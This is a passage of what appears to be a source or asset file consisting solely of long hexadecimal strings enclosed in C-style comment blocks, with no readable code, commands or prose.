9cd3acdf4e4505217d3192f88b923ee3c17be58ef1f8ce9e57cc132d690f70f35414db4fbbe5a0d00fa87c146a76a13c8d4e3e08d6ac5391a67691eb2e6ab3e0329f5a5fe376cebf342eb23bd72d5aad32d930729f3fbcca4c901ce0c7caf40d2fd139d73626bb67778452a4299efe87698edcf8a87fe60e478754462af1d2522a4129d1de3e11f80eb8efd229ae2d74aaa89e0f7091f9e9913950ec149d3e4d3b308dc3a79b9f9aa6e2f8c608d78f0816f2fa607c25d0a58e9bc989a4ce67c8cbd4e3c8e7f829bd769051f2b375ca6732682233f55e522dc796cd7f470ad4ca89b6b1ae9bf79e991c4e6356057089e8479faafba6dfb594737bc4ae29a69b3bf04daa313773201fc3db4fcd0a88d46b815450fadd714cbdfdfa1df4618042cb357178193236277cff07a19c905651b0682832b0581690423ba7f606a0f2ded6b18fcbe7daebef5dcbc24a913d1566e6fc1d8ced14bbe8af81598cd076257167b35e833500a2417f591c520603e088b9b407542569187ce8ac8d6448f2a6a5dcec33e666bd8f9eea9431a687756e90dc3ecaec6f7e76f1c4ac14cdb5a8176682bfa33ff85250e89a1f19c28a7c10f3cc4132a4f1e5f4900c81e4770076896d206f965b1738517e5580d2a150b6e0b69962c45fb29c7bccb1994e9101c86efec218*/
/*6a7b6e38d89ef3d3d0a587efdf531131d791860ef232b8b1698a2f49dac9ae5555a7628195cf0089327ac2ee202cc04b788cbdfc766fee53c44f048b763e0d66a6e753845bee85ceae0ca63c2af91a076dce89600be275076b60f1ed1cbfd257818c776077779e9ea1e5f9d92f8e269b1a43c5357e72481fd00776a522cb2f2e6d3ca500145936e0d87166df44e3123721ab510d72f3a84efd74173fcf8d672bfe6e46830134555a6a0277ea28b17f38b3f1e29d795c82ed99916562194dd1c0b9f531117e626834ff61628b527eb6cb319a9240ef8395442a3b1589fbde22c6980f22de13e40dbbb72de59a92a8fe81ddfdd8aa0880f92d7caa462051ee806ce172cfea730e33e5b9e4c346a85cb950f003bcb4fe30b1934b2e35b697e9f1fd987dee4f1c5c8949f9d942a80ba449bd97ece684abfe84cd3c92826f3e7dafdaee0b1c435ac87e49efc46a6d9a2a0135730625b8051cbbdd7fe7f2e54dd0124ff12c68b17e2f4dfa285e360ddfe06bb78831c291bb2e4d9f135cd8aa96f5dd88d47b3e61af88daacc144308b9e26b95adf7d4f30412330bcbd4895c5918311e201adf8b0329cd538ea46ef1dbd600b7711307c1da7035d283a97905e1a6f4b3a95a89f5835361d4947002e88592a1c712366343e72e07dfeb1e8afdf801efe8a9d31d5fda45aef1c71a178e95996b2744bab5264c7e9a2f76bbbfeff46d980b03d50cbc8be0129a46c472ae4714af7e73f95a020d5327bfa766d9b53411d0d84edeffc9bfc7b935a1d43e4dc4b0375107fbbf3ce84da4a4204d7ac95ed24a8906b04b64c06b2e5287e5ce233e93b5afaa9419e1ec4211ac9af983cdc209df81565bcf597a6eb2f47effee4a3dee72915694337f8a0f45be6ea56980af8398d679680d7d922588dbe5cdbc4d335322d9abc3ef4ecf8f1b4bc6558f3b7a0e214ee7c53bdbd39d8bcec484012be8f5dd1cb356c6ae38b7755a067f1e9fbb3f53272307944b958e9fe51839d835b810caef6f4ae7bd83d67fd264eeead34cfd367a9b00988edce563383382e066f170f8bc2408a23b03fa06187e02d3ccffa14c6494a3f5cb7c347fc60dae986cf057d4ad863527f8447a05ae14b4d3b981c8675f9bcff3d98e149dd81a76f899541020288cd1fef882a033e965927302df2cc3124edadde1466f05218c0556ac6944bceeb5da7842408324311578376fe42adef4cc1525e1530aaa045eac7c36d9858e6f9c56f44c0a7f0a09cff4eb6c56956c1b761eb05aa48a644e625b88517bcb4e4d9ae296a169208ff819aaa110d84118c5909c46716f2a51967bf450c29399187846fc8180129b5c17783d25949b2a6da6df6260137a1497392e30ab344d3b9231254bcd6abcd09bf6f06c0e61593c824e8b60f882a4cc7d9390b1039c7c7ba6c3c37859447a464714a33b9906c7be4eaee19dacc865652f7f6c7fc64e7b42c15f95dc1bbafa17f99d011286b4bb55e6c05ce59be0d1858cc0b38977c10f24a81efb82f04714948a1791f83e29122a69cb922d14d2d8a64ca439a2e6beb75c92692d4fc5782e3f5a97a60e993e5fbd98e53808258557daa3e9935e3fd4e71e2d8b9b2a5b978bc460b83c4d0e8383e555defe3ce3c2660317d227256d6fef1948ae654282fffeba2b0de6a42425ecb612471ab501dd3c24ff2e5e25ce46961b0c3218be3cbbbd6c4d7018438f2154107d957419a636bf501ed9dd42f98adf90156c58cd194f0a4411c4a55fb4af6ddf4787c07ff0b0c87f1dae6a701aa3fcc3f925734e4301fcc199ecbc3b6be17c1631a937e1da1d49c3afc060538a6a647b81926883f5add9c0eb7b13f4d439e107c2128306cf965711aa39a2ac14420f7dcd0c0c73498940e32b330544353281d042ea781402c09a4bf3147f18979621750e0098a41e69db4ea088a1e66f7568d91f5e0a3db3c101480f1adbf372ae7c9246c9415978d8a0036c8f8bb16f56aa60521fb438c147fe78f55c4c012760c0300789dc4a543b6c90cc3a3928e611675d0b4668cef3a2196f6840b2f3d4ec77eabadbd3d28b8504b0782991d845a3b0c158594987a4bc5be47f75a5f205a59b8ea8610530735af19a517a604eddda89e77cc552c9e9d4ce3518042be6d4b0dfc4d6d71a50a05cf7bb6f52eb5fb79fe015b1e98fb19955571e9cfe9e37a2d4462cc9938f9d95400fb4dfffcc7f7861058d4bf03b906f2b4536d92b486d39644edd069919ebe27f25293fdfe48d805fe5985645cd2b72e5d0e649011ed87fe496f729d3052734b03bfd4705f399b9e41b12569ef8453740c1d67e594d482a68e7e64ec8e5a6c4e6f68dab5c71cc337273c097b279fb2f9a80cec1e7eab708a4e2736f9c5c030f339eb3f516657aad4504f562881e833bf7b66f971438fc6e34bc410fc7af24d991ad81327cd51be898136c3e7d6a0ba444e702546b60d12c44591f0cb30ece5afe0c8131e8e1961946265f396e2f4634d01a1936e979d7ce091998e3b26b746e15c04401d92d4061cbc70b34396d30846ec858474ef97771a4d11a852f90e3149e3c98c685008d52d7fc9f6090731a44d0fadd95da6a3f77417742b104ecdb207b666aca596666cc94a15879c1c0da4e88a55abeaded105f3521d05fdb393d97f9d3cdb37dd28f2440901635f5ee18315c40e812a6cede2bdbb6c628941e8a95185150b71fee38eb1673392fedfdcd940412822953130aeb9779989a1154b0f1f0a9054f072484e28b64aa7f029995fcb0d3991953f3185f9cda8aef604d779dc01289d5d40b39c52d4a79d0f93ad6a78ba70d8d6b0c9dba28bbfdca9e4*/
/*d1ce5c817822da0961b1f9ceb5b8b6a9271ae38239cf8f4f2c1d49c43ec7f0704c132bc4184cdf1ab0e75e3465751842dc96376c3f66a724ecc948eb0b33ade25e6205c52e37a5200db7a131f4727642b9e3b326c4b0ad00bd74f58e1b88d4879e7f9b297ff48dce4ee10b27ffb83bee6b9307f52e6248771c788b440338bd1946836e05c5f8a9f55579d74dff587fd48efe8966d02ef770f408097aa61e9391e0277ed797b01d2e52da47b8821e6aee0bdc798a9dc38ec14477da975822eec00bef680e086311de9a50da5df93163248196b6ba8c5cbf5a8fef0b796dd72c43b587a52b6e363d09d9290dff42104eb16380c6fa2e4bef17a30fb93252d1731a11e407989b8609ded39bcd6588fcac352022210300e435e326f945b62f5067536f4c03e85331e3a29740cca3579fed5d26dfaf4f2c044742fe1e0d52a2620b8465e0c3494cf863f332d159c743abc0de1c024d9c570c33d6c6c729a2514033a477e5038cef672ec39489b3db7c9ce9767adaa64f33e5b064e4b2e497e8a22efeaf8cb786e0891ed72c2a37d2bf0bd4cfb38b7b0f7ebc79fee256f047a216bb82687cf4e7c2712583fca113e9b0d0749a1835fb3a8b41804dde18e34edc1cbb8a49ce33849bf5aeb6d5285cc461dabb6d27282bca055987e31006572c04250bc2e467be544c1a6cfc0068a7847bc6643416683ffe4bd446c87891062f52c564550395d6122e121d7e2677b571cabe450541eab67b7d169b800d2133d3fd7c480769d294a7121f404ef5d027537360b6816590c572101e175feb0771d12559b3b6baa4607fdf6c621968add7684d46553612cfc9565c98ff48110fbfbf663c059eee029c68ab37be767fac173a777009c0c917846da74870e7ea7b924336e8e2a373eebff63aa36551898fdb66b2d8a65ec2115c117cb8b1109fd92f4c4b729296163cc53f9d2b3dc979b7631b93c94dea4ce6c51b8a82cc6e60d8922ade62aaa344b4fd5e0a867a1563a2d59f39a521543c2ab07ae89004de297d8c62ab3b7a0470674d721efb50d38e3d8e5b502c655b200dabea57cffa81785e502128266dcd8ccde7aea0edb55cbc451ef886d52b1ffa034619fd0598911da10d35d7efe5048019fa8195c93b61c40ea48f659026b974eb9c74b97b0937d82b056f418200b9e01db6a5f82a63932e3ff6ec9ba6afb3097307d9233df88de81a9143e2282afefad04dfe9be3d4bddb609a6ecb10fc34ba1b50d21d41cf0d153c7493df8ec1a80ed9af1c9c79c31278e558960a37d2919b106ad8866c146fceb8332fdc5e7833c16665deb965f63dd79f1a9609c9552ce06dbaa77bbf97ad0b48e94be6e586df57b526aca4be0f1e5e95db8b33ef3746539856e5bddb7e7dc003273f39aab358ac08537e1da42eb41fd57280048a8939b1b7be7f9848a107996c6a25f8416e71671e57b76ad6b9bf71be8ca1e7c83a85d739e8c648f6b4541e5cdcc7843284e2d47b6df908c10e6d4dd59492c19d92f8106af58bbec18c1addbe6fe09e1f1cf3b1ff16a4286921f7a9afb6e47e039fd8ac33b93517fe17c47179a29fd871253b388ab74e581d68b6f4b233a9e7ed5eef8a830ad609bdfcde735703d19f7597a6f891010b110c75b57f540182f314b4d28b4800b331080463ddc3ea72b3a346966eb72b9a2d627ec18434fa6799c4c903f73b1b737c6c1dd67b620aba8ec7ef22ef5cc115b37cc9efa4e78a958b3de9d47356362a419d97ba4a5cdaad1dd71360da2eddbdec4b58de9590da1b7bd0e56d8dddfd2e46e9c6636ee59dbc8c0e9e9f720c9393768bec10cc6324ceb01b08a7c76ae1df0057da02abdd0b7757df2954f1a01bd7d432f001196ebf3d0428641589fdd04281173672169ceb21b4073b028929f3de2bbed256b38b024aea7f581038f8a767055dd04a1a924b16bea696c6144f613ee2528782e1e8b15134ad9529e2792a7b63ce6111267e51383a2f886fd9b5e475030645c26514bfe8b99f951bbf276a649420fced9ee8add4dd4d04a14c4746fc677dad79b5b567b482d960f7a2b04b4c357ef5aaf7f419184e6ad68ce73ce20f311860e174caaf470e735bdf64ed7890f97ce8e224bdf063d93e850b2361581a78a6ced4e75a51e7d3ee2129b6928b040e4d4a685b30dccb9d81db49e58cbe18750d66b77024750c02ab602cf1f089e70fbaaf9254f7a2393d78d2027201e54ddc6d145d2a9953e40e7dee7440fcbacac42fbb372a3bc52ba14bc6f140f2bb461ccb752a315d52d7b3d3575248f79e81c4a1456e5b4dad31034996ea7cb6c34082a094e075ab27b776395dc8feaa5492a73595d7f2aaeb551c72be78e085cb87406266be14f1e00688091cfd0346df9bbbe0b58c5820916f67e2d7e2aa5d66385bb578ae795612a28d31edf6b0f87e7e6d61f605cf48daf3cd04336148ef7ca6a1bed63c83b118044b5d9740db5c91802ec622d83cd35257189618140e73e377eda5860d7183cd33b8ba559c110b91e9064eb771ca6f81912f54d2abd7234a022f07ae7634ea0c2e7c1556ed91b5663fa0589acf8f2226dcc8facbb8fd54154efa01dc69cb9c7ba0176c5b0e72f28afb427c598d9e01be622a81166a08f3c7d625902169df9fef8d4ccc8d64bee3af4ea6775c74df87df5a479e8d6231cc85eb7481d82459cf9c1bc94f333ea3ae142508a837a64380a4b1539f08b870920dae5f0a821c9c8fe3300c263ac7b04bc719a1738dd86f7d7b96532d278ae4965ff46835b08935e9216c60862305f63e2447e49ef6532f6a91bfe7a92f5b5a3da838596a626c006c987d2f8997ae*/
/*7a42fab9be9d90059164463123e2859d17fc1d88c148c36c0c8cf560660cb589ed6b8242586771c31f3ef3f29fdde2bfffeb92862df006c2215e1d6521fee1e1d87f08e92c5ae96cf70af49cefd982fe82f05a239c9819b641d1dd148ed57abc540d310092876c19bc85127887fcefbf4b959109912f9740cfb17e9fd3761d490f7b79f51a7c80f53b4e8ecdc9951180a435a4d8fd27f8623fbcb1fe6d2316233644699573d5ad8f8534d39c08e4da9f4eb336afba836bd197084cc3a288af1172d9052943ac8281ed6182fd743efe75d0471c8a8bb71f2f8cbc7b238dd4d2ee120dac4c26c43703d9b2e3887085d3e628b0d5decd7b6f2fdcd9ee28f90230ddd1771d1b89aff7512d233972545555b27b43eed8337984173691aa6967d7d165901791a164e586e9a37c894f089a2922ae56f4087e03a488b671cdd2b931ca12a9ee8bbfad2ae99308302e7f9c6536eea75e22f7a18ceb2dcb1e041ff310559eeac9fd0c4d0fd96ab518cf4d89dd97a88a2a31cbf568919379c688c3fcf883eee9f9ca12084a0210a7f61b9c6d1b888b0aaa71599c634a6f8a3ebc624daa08365b5ed5477c4bf03b412c8c44c045287687f3a8a3301e76a204f05e72d92281e87d89ecbdaf842d8109504e122b6bec3107ba451d395acf8b288db747b3534113dcd13521162a5d9d84f5e23cd3dd5e2ae0ced8341f5dd390e2e0bb80277b7dce1be7f8bb799296276329fe2ad528153dba786232b829d35d4e28c3b225208a9099ccd1f11b135057de18fb79d17d62e94605e9bad5d418ef8141f29bd54b3eae61022085fc97485368b22e4193d26b05791749990ce58c70a69a42e525ab09e471d1b7aa24a4a65f84c0490f3a414d83a136f066a35a5e5b44e2a3559bc99d119df427d467af7d788610d672b1b5ee302fdaf6db2ed6085107b48676747b72cbff790ebe148ba8218460336f5ea619932a62e32c1b1a59a447c682df6efe2884fa5ecb82643100d1e2e94ab9dcc3d4ba96cfbefe0026d36198ff6dcc43978678370ab6bd8760e779456cd1954bef130d5adcf42ec0a1540b17d87950391f0ba1259d5511111c8a886aafa7d6683b787df5cbffeda04615833596a24db1025ba40a101c77342eb33192e7f686fcf7c58334f91650bf2c1742dc4b9b5411271581de58d49b6450f515a93ec4d9144f14a254c6f592c8c76621c1f0c4dac22306c3c276227a6f3615f7db9e17c1904b8a479cf20232ab4605ebda76081b4e14512889c7dcb6d961ed234c8c27ecfb895c81baad10cfc79468afc940814888663170e65545a9198b97135ef237336c26b2ccdaf03f7bd3c292be7e1af6302bad240ff7f090d1c0cac7aafa34e01951f507181b81547ccf6211850c2d736f37d7462efcce5654ee470aa206288a65c1a24df4269725967b30922d919dc6160e2e55ae4eaaa097c95536e692a4bfc68b3a0b25a5f1eac0e7214a7b81e4863d04b298cf9e0759ff0465125fa404aa54866b4e6af86ffad7fd4d24afdf8ecb9f74aeedac77c31ae68073a8c34b26bd1d37ad0142f598e75021da2b727b6721b1c4332c07697258874ecf22283a4755f825c4817e2c347865227da32b8ca2df7d4d4502da805b5e32cff057a0c6b14389f911388c4cc934a00158173e079b893041215b7d76a4f759f3b56e37b1d489467f529b50859991e677725369306529415feac9171e09a90277928b46c7cc55d2f55c18ab02c3d4d7e543c31cd38e064532163733f7a9fa729b8107f345360e01acc6eebfaeb3cd21edfcbbc5837a6239c373a3cf940b3ba875fc8d611d8be65030ebceabf223d9b04174c40c1f7ba2a78b68e6c907c880268684d3dabdb9c2b6082322df7309e150b15dd8db3d73c77dff1f41e920c8798cb2a037572db936574f74031794f38df0bd0b743c67d1aa85450b645dfa9498a273fb72d29eee83b4b6cd760a9a48f2876703fa3084d4b485361eb3199e8b70bd3f1e9dcc94dbde693ca922376b3310379699e89ade44010b839b2cc54312f592e85ba7fd3035f214f6e15f816990a09ecb3a736794ce7747fe5111592297c4ad35892b2f1c7a1314b6fd54d59822ef381084b5eeb5c31eab51a4502c01ef94f22725cc4d2434d3e20afe18dd92e6c00b9380a487abb28b3e1299c9316ab3c9c9b9c6eb5d763551a6b622dfcccf0092ab5e3c93ef031e4ac96ef958a9dc9c8d169321fd5e181d85967f18c9486e937e57ff310337067854792216cdcc78c611edbf33e4fae42f7328bec54341cf51264e796cca330bc799b3c781e1f614e33987e3ba81bb51a150ff55bb75428089c8d33aff2f665b5a6a289934cc8a3465ff38f2a96586c09558a44a1b3cc320a8762f6102c706fc37f0f6ea494b00fe9f5b1bb899dd2f47d6e2ff70cd493b8822d183b29e6a4d8107f9b27bbbaa394403fe17f6a3982a74734425af41027fc0d865569a3ba85abc917711a5a580db38544913dcab2c0b76c47e6370a5dcb2282fdc32c150031f37c2e0e9c80916b5a372c25343750dd5ed7c1129ac7fa06a0536c264dadfa95e3fa5ccc13706812b8cc4bf6de99d7e7a8e7a80eb9f34fee70f61a0644198c475230fafd2e1b949ce48176b94b2abd56b9a9b048d0651a01f3fe9025dfa84264b4a3c7a44edd1600845caec161fba854a5615e8868aa27f651d94dda314a6d8590f74ac2277eb0a214d85ff5eb08ff822bebf1d9e890c61690f352c61943df9f085c320ba715a5a23c53654488cec898b0c51d4c3c2fec28ff58e43bb9b9b85d66418c2135448df84d3e77d47dd7f9b8f63a8d4aa3b434384*/
/*655a7bdbfdbc4fd338de7f5ff7cb2ac0a2de521307214b52b142014ba7bf21f7b4fd815f4588dd351814b0e6834894889d33689015ea4c364d54e1157ed58a4ac89803ee7b668ee1f42c93185ce76cc89428fc553258ece611d5fa8f992e03e0ace4472ba4fb42098d696e98b7a13631fbe508483e6358c1ce0cb9e0a52a4e83dac4f080b1a01e345af7c9df4b64de37ac26821ec639e63c7fd1ecb7ea724c42b0d204c078aa974fdbe45683ff5a28391b05dcd3dd884562e64f7edf5fbe86fac9f86ce1d9d5e227248fba5a726065116081e34819ce95d461edd2fdf4cb0225683e72e041bcf6fe119c9694ab46dfdb736c23ef08fc194e0db8ba701ff3ce4dfdcc24e29ce684f47c66dafded77fe9edb619d8c0c6d6212bb4765f6bfc10eef80fd4228cf08eaab9aa132764d1b2272b637d5732c93288f9d8e4a576d26f3b137b056c8620c3f46d8e2d5c300b5c61cc73ff57f412b97429704b96feeccecf4ee98b3b04964e887269c6966c70efe4f5ab587ece81fd039137e3ea24768683a884e2de8e55f6d7f73e85449ae294b919a9e8ae7ba063f60cc268cde1a342a03568015fd484485d98c026c6a213ca60952d9fdbc8cf9ecd156b77ae2c1147877abe72e66aed55ff68e3f7398743abd8018bfde4119532b32cf836f5dea6f90b1f1775fd486c3bba0af5378376e74ee497bd56d930920a43bef2f02ccd1388a42e41f090b493e336df178c73e6f82e86cfbc178373ec69459f53a5473edf77b95cc1f9ffa5763be09884ae7ddb9ceec68856b6ed5149daa2a602a311f270c33ace07f33cbd5374c86b2cc5d19118a88572de3fa5efda861b9bc49bd10e0464d8f7fdec2e54e218e03a823233d0d063c8378178048611fd438d803caf4f16860500c59b3c9eb67b123bee40fc723fba73ef652dd2e96baac8399900426dd1207e3739cfe7b1e2f9f911e3cd5d619fb4d3c7ca474ada116edb15fd9e84ba87ac87f8cff962bfe440c2558608669704017e7c0345213c938ce93152064c2eff43d6279d0ed21ba3591202dfb2db764d158983234722b26f531b10fc8c188a569d64b425ab1019fff7a2941f845e6abc0c5b766abd7f00b9c573677376294030887f1d2ac46d78181689e307a39099b88ae38298a0b263ef95d95409fa583abd2126213d33f42aa4d111913a5c9fd74d958aa70806b29cb3acd25a078b2ed5aa916065a49fe6a4f4c1cb0091a8ca1fa5ad113ee23b415dd50fbf7f0262c6add4e90cc027dd318cce37182e1a5e5f663826a5f95142cb4ceae512dfb6f85a16204ae8788128acd4bcb32239e50e1c5b50d6d2b7a48f2fd78acaaec7766b44580693b49366e0a58b06ba182b24bc985462bffa13246eafd89c4f7546cc294a6760acd178733fe930490efa6ea8bba4b44cc4d77d11e6fc155a569d65bc1a884cd926d43a1aa766fabe334f51d400542c9b0df7cd0ec8f4faa2091d32a21cbeb7cdcceb99b3efa5c41820dc8f7e49e553e57515ed825c039118413cea23bfbad087a6b2330a1f62281254d37b29c2c85156ef522594da199b05eb50058e98ab6c47f90810f4f58eea290277e9cba9e4df5fbfd4254b578032cfd8e9729e1e349296d389d6aecf19ddc114b97b0f9e6ccc45aa9f8aafd2c5ef1349041cd9419c8256381a6384081605901eac64f80431bbf3a0ef9f01f4515839bad4b0248e8209e4d055bdfc454eeade131a120db498754dadedd1cdf5ecc2e30024ba9941649a8d7efbc80cf1e4b17d3e482f8f74e26354be354f41663daac54003d9fe83ad1e0bba63ebbacef79b4cb51dfe1e4fbb0e901755e511b67bcbaa24a05c6d28ddf179acc3d067ff80fdb9123e12c9945d205a81d96ee3d6ca128ed7e11e427573f8f94bfcbf3e7cacc512d3bfaa21aba3774d65d888d11d4a158ff452fbc8bc983d1064b3bb5bb1ff71e0efcd816f9d27b5c1de0493491a9cfd9f0e065fd4b8a38883e2565eba2f7a8ffc14244a4ea9b3cf895cbd6b2b364d4644d3091a396a483eb4ba7284e13233045246119447b59583bffc6ec8049b358f8c0a236fb7503e2956f0e01d90f04b854235f51311b7e3f44e6dffb5efe3921866d01fe7fee8f6382a0c83a13d2a2ef3268420b0317ba811f0b0288330364e693380513e2524959287866195856cb67981816727a9f8d4b1221ae72123196e8d4572a4c419ece1c612e278938486c52be3b84f4f8a94de65863200637b73afb71ba4cf41c0d881f10e0dc6c76137c44c8a41fcd48c89e5f508f95c6e51135419c213d6c01973938eb0eb01338adb74bab60517c53751d09a9effa36337f4b3cf2886aaa487ea96d16afb5cc3af0196cf0de50246f7cb72a377602f83558f14242f6544fa84a4ae7f570ce1c071dbd897d2d155646b74baef15413b7fa8b04e6a32edc36de25dda77a5d5e98ae8e48b96a908375d24bd9c0a9b98c6ac0d3659b2576241ca80c68c85dd8b90a95ff93dd955424de9d4ef831b850ace3a1ea8c859ce6c3d91cc20e885d8cea1a3458a8e729687b6d9189d91bd1edb576747e3711fb450238a02a25e709a5f4d73dcba23b93a718126bbcaf0866fa6b5dd4cdd386ac6cad7ab0e864379fa9327ea20fcba0492f21b2e294cd53edea87121db50e6221770a187583071ab91757ca40665eb5e464c7c4057ec6c4cb234bab7a079e03a9dee8ece988cdd905ccf3510615decbd8120d568c325f0106c6fcb03019a650cf2c29f059363e5f95550e517564b8636d3c077f14913e13b15e31a00bcd6432b6aa6a25fd7cae47531f30a198381bb164b02e5fb04957c968726327*/
/*b3a9ba30e1937d1b98362079a53aca1e3c451f5bfb536acaeddcde1ba852517fe54e784edb5f9b3093b1610ef258b53943391c3636ee92cc40e9eb5f3df7cce552c3ef18a27c68f10c398a1c04b33cc8786d4f4403ae97679b3a1810a246ef937530260f81ae642818a59aa60a5b7718cfa5f6344585308e0463ea021bf7dc88e313b9021d1a4745dcd406aeba68fb9cfa51ca3f0b61a28c42e1c3259a10ec8e6f2367182c8a31dfaddf3f68a98e94dde18a7e4796d56de85576e18a55d565114b6568a712f7a4d74ae0003e4a6ca1448c66408b0bc3347be8eaca85e50dffb7d1b299f220c9e38d6ad64764feca670343cc4a72e2fc0d64b53db1a06c0b48ada5db4b3aaa0bed58dc8440d09fb23363cacf36fbaf31bbf8740cba695454917bf35a064a4c93fc474840b7cc6df25dccf6562f084e49e9245ca8e97b34c59551cf8e5f426296388309d8254f4d23a08c12c7d2c12a25f1f92752ed678a90ffa8bd0512bae6a6ea8a45764863f5472a48e7f196240fecf440d7de3df24eff4a27c93719572b463112e0ba32b9ab7b15c0285af22915151a7c1f2fb88313d2ff586345a6ee6d63798deefd6ede7c2dd7e600f0a797797c0a5b559b8d43a2f3a6008696cd0939d9a4f3c2eac6038e3072a0413a9f951e705b6f1cc7dd7cb971539a90c7a80d4d95fe965b0c57b1dafe8c0dacb5e52480b661261bfac6642270d039892c8caef650a951dacdcbf8aa5f0cd4d0d8ea076746db2e760936795c427827fcaf59179c740326f055d947ac9b51720fa5ce77370c7c6eeeff5f7d80cd3c2c63296bc08303e1fe573a65548b164c94adec7d42780cb4fe535f90448d7dbeb5583d2c277cf92343b3837f220c39db930b41ba75419ef7925f87500c40c420376862c5e8457b302188c60fddfa261d700629d5d60a361dafd853e5ecf15e8a5919ff7a52cbb97f536fd08856775d54cb480c2686a9ab2c4414f1dfd9a8f58770840c405e38784f8add1f1feedb159734e3064a6745c93d0c39b71bb3b61b392d33541755f5622ca803d966ce9199c431c043d98090afddd1b016a07d939bfe4c6169071f52ce37b297ff978594e8053a9ae95e4ac047d52ce66b297ba32ade9447f5af641833b0e6c40703213f91ebc5bd080e78b1f99d0106836c51b2ec61f8d159a345c8ddf09f98e9b7e5d274e8602aa9621fde691f6e224513a61862a9a39d5bfb482135e8236278263b937362dbac47bc4a928896362bb7d325127269bf98c8f24a90db414f27d930257c8ac99c62c8b7aa4be69d6479fa362e37b8a745c8bb546d01bfe7e939793c7162b9ed4e28025653aec5194a121ccb73f4611d829f0d6a5ae3028b87444245168b82344756024c02c0f8352cc427cd698659375fc75f0cb592b6223c5dee9f57b7c806d656f029c550b5210f807d28b2445a08aa0dd662c9861e681286e2696e168dd17832108938e2fb7fd1992bdd8518ad7d1856f7dd6e261c0de2cceb95508487ab11b77f2250a268303e55f7ef496830d2277764d801f311c09e2b452c7493f164884af4ee09c5b257cbad2f5d0f3ca3c60db2d58659fab07aad69be8e066a0d00e0a4de744dfda201fba9b93711a4c9d3322bc8d46065cef554b3f6ccbbe1476aa88dd4fb7fb0f0d31a6c8703c0968e4a7ce2b51c1748491e4613bbe8985ad11cec2e982073a1d7f218df22e7053b0578012c980b3401da8c01b8386c8b98fc90a6532b3a60cf2f6f1037186d8c7f2acef1d30577310da5427566c5b0051e6aaf14b953fc6e69d5187573a5ea80632f1fa4cd1b84629eddcb595f06393d3a715c097597ee4b138371a9e76b18b9bb6719acdb14204138f748fce390039d7f6870038cef3c46939045b8df01e2509c910e8ec2f1651664969fc13735f81d9a3cdd3fe331435e0c78d8fa8e08a12f3486ed98be8da3049ad99d6309c294f6bcf756f33bbf73b0c8b577105b3a278dc142bc4729047144e1ee71a9da308347edfbc2b6b476206e3362b7d5166073776c8e36c34740cf71516db4a9efc2c7d77180deff1fc7a54a15c292442ea13c9aed2f40f27aa9c11cb04f3659174d193890f89c85b9ed66ac78f50ed31d7fb0ee919062201018c9c1af979351e6ee86dd4e7d9c0699178026ea1548612eb0b138b23cdcc324c7c5dae1dfc9799ef06e462c804c5f2c5ac2236109066f71ba782d731e29e76e1d6d5e39fef1b75921ce06816856617d1e763680fd01178d3eb6bdf58a6ffec959cd1ce1e0dddabf2557f2209f2ebc34045aac84ed8ab79249500aada627e8455408b6370877e06a2df30d675dccd763fb7c11738feb8b10f63de6dfbf2dd1f7d6e697fa025766a9b7ff914643200be2467e98996018783986ccda847e83649cc11082de250d9d547db590d6b96fd582e1a3ea0c843b97352cef676cfb9707bc2adfdd474c666780305bcbd9083ccf1e72e718b0d9cf353e45d27aa64567a5d04eb8fd2cc625eebf5eff9ba79d43a720daaa985c93678e556e554ea5d02d2bd6d0ea70e1fea406f62684592cf930ae192336a4637fd6ae0656b738985ae59a23207d8db42fdacae1f98137a2b8e5100b0c91c702021f8a9d4fcb24df2a07339aa4fab19e87c48a5fff206345e026d0e1fb8b6217f9ddf2bec9b4a5e1daf209851bee36f71c4a5ccbf1a1f01d89147ff2dac54ddc2d3953c47d95f52284bb479578868eb454a80283d05c94e4436241d35b8b8132f3d0c0361d78ed251773a662b6ff764c90d81739235f15a7c3f5e1a458659f40d233154c408ad7e33b2cb99563a985930c7e6e2adef82a08b0ff08*/
/*04dfe77651fc6c5a4fa5f94faacf174d8caafa46d71e83d5e70f2e200ce0ed836eb55c145c41e1205cffd9cdcf30bf5fbdd1955a7a432488d349d91134040c676237c4b6390fb6ee79a9ad4edcb269e34fc384a9fdc4cbf0184c7714348f8074e527d0efc9237f74c073dad848d3f1c452e155403303ed8b1f6f835aad3926df326532d7a359e39235ee8194c86fd716216375c078dd356c25ad4ed3f24740894835bd5b1bb9dc5f5f48259e447bb8861a25f2cd275347c267884c1a86eb27fe846bbc436589cab5cec8154bf82ca6614c1f92825186d8232ad981b34b284dda248f089a57c69d80b3b2a057f052990bd170d3d8268fbfb168a06f1455c40317f2dca204e472264cbd32847d6b0b5d06988cc76438b11e67d6c8190ea6df48bf9d0922af0ef57cbb8262acb1f32cf901ebb4e752f6743221b0280dfa86aa37f251660fd48f9b748adc4f27e724639e3f3ce8d39f359e7287f28876ed3a6c2bc33bc194725bb0117ee7d9f894a324daaac864d01ef6b689a1ba8c044b6d976534ed4cbf8090955232c039986b32bdb7f1b48fca63cef81e1830bfb93aeeebca9739c234cac6182adade8a6001814721ee4eaf2325c3470eb7790bfa79ae6816fb3e63c0c49b1b27ae00eb3978b6674c4ca2ebd27968d9f1b55f40bc9bfc5a76684b008e3f4867b292e4ac9282dd2c5cead9c94def6caf0209d0e4945f022d71443ede73518c5ed1bfa07a4171337728dbec1320948edece53a3ff5c5126666383ffe307004570aa4fe0b3952e9dfe9f09cb7e7c2a36b9dcddfadc2afc5bdd28170e6c89014afef8d915baa10b45ec7b719811f4a0cb803e8a6af9453d889e05bec35b30eeba2e9fd9bbcb747f6017cee6881860474ced5949a017510d7f10779ca8a88e3359e8d33df9a2c64700e8f352c4916aacc0cb2588638fca6814ca6d4de79e5722628d91cf660a68b2ff5a0dd8bd587ccc815de274751abf661a66f979f4e12d7241d70a29fa8c1e983f94a2c266f9afb3da287fabe74d412352a368d6c3c3f53daebd6ab14ccdd2e211050bd35fe10791d7aac0672d61f23a795018271765578757f0456422e93f669fd163b2aad9d92213ad4b6a05d6ee9df0cfff482090cfc6779fda2196c7fd7a8c3b4ad7b84ce609d8613dbfc4ddac40700ad420edba9368422292dd546b9f2c72c4a24028beb9a46b18626d72dee02ca545eb8a53e6f32e70d34dd710646b0d8e9b02b13cfb37576619bdd39924bed569ad2495cdb989cbdbf46cf71c395cfbd20744d533f7678c82401638a29cfe6f331fb82720e7d54e88e4951793c3dd4a62c3886a9185cc13107a5c86dd1ca431229d32606efdaa68d6d533b1d040503205045579e964067fb95a39d0b19229abf0a970c7760381640166705dbec64af0cff8314347467f2a24d60c9a6eff682208649e029723c56c0bffb0e19569afac4d545d79c9cb49bb9c457820e95cfad29bb887fde17ddc526125d15c8958